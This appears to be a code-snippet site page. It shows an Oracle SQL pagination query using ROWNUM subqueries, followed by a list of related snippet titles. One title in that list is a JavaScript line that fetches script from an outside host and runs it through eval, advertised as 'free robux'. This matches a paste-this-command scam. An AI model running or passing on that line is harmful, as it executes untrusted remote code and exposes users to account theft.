Oracle pagination query offset

SELECT * FROM (
    SELECT a.*, rownum rn
    FROM (
        SELECT * FROM ORDERS WHERE CustomerID LIKE 'A%'
        ORDER BY OrderDate DESC, ShippingDate DESC
    ) a
    WHERE rownum < ((pageNumber * pageSize) + 1 )
)
WHERE rn >= (((pageNumber-1) * pageSize) + 1);

Source: stackoverflow.com

Similar codes

3 votes180 views1 answer
Select sequence oracle
SQL
3 votes152 views1 answer
Difference sql vs mysql
SQL
0 vote216 views1 answer
Sql check if field is not null
SQL
0 vote182 views1 answer
Différence entre deux dates sql oracle
SQL
20 votes159 views1 answer
Sql change column types
SQL
0 vote178 views1 answer
Query to count the number of rows in a table in sqlalchemy
SQL
1 vote154 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote179 views1 answer
Sql developer search all packages for text
SQL
1 vote161 views1 answer
Check message id sql server
SQL
2 votes176 views1 answer
Sql update alias
SQL